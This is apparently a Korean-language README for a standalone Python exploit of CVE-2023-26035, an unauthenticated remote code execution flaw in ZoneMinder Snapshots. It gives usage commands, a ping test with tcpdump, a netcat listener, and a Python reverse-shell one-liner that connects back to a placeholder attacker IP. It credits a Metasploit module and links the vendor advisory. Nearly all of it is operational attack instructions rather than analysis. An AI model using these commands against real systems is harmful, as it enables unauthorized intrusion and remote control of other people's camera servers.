
CVE-2023-26035에 대한 익스플로잇, ZoneMinder < 1.36.33 및 < 1.37.33에 영향
인증되지 않은 원격 코드 실행 (RCE) 취약점이 ZoneMinder Snapshots에 영향을 미칩니다.
이는 CVE-2023-26035를 위한 익스플로잇입니다.
ZoneMinder < 1.36.33 및
ZoneMinder < 1.37.33.

python3 zoneminder.py http://target
python3 zoneminder.py http://target command
ping으로 명령 실행 테스트대상에 연결된 인터페이스(여기서는 tun0)에서 tcpdump를 실행하고 ICMP 패킷을 필터링:
sudo tcpdump -i tun0 icmp
그런 다음 자신의 IP로 핑을 실행하세요. 명령이 올바르게 해석되도록 따옴표 "를 사용해야 합니다.
python3 zoneminder.py http://target "ping -C 4 your_ip"
netcat으로 리스너 생성:
nc -lvnp 1337
리버스 셸 원라이너 사용:
python3 zoneminder.py http://TARGET "python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"YOUR_IP\",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")'"
더 자세한 내용은 https://revshells.com 에서 확인하세요.
이 익스플로잇은 **requests**와 **BeautifulSoup**를 사용합니다.
다음 명령으로 설치:
python3 -m pip install requests beautifulsoup4
저는 Metasploit이 필요 없는 독립 실행형 익스플로잇을 원했습니다.
이 스크립트는 https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/unix/webapp/zoneminder_snapshots.rb 에서 파생되었습니다.
https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-72rg-h4vf-29gr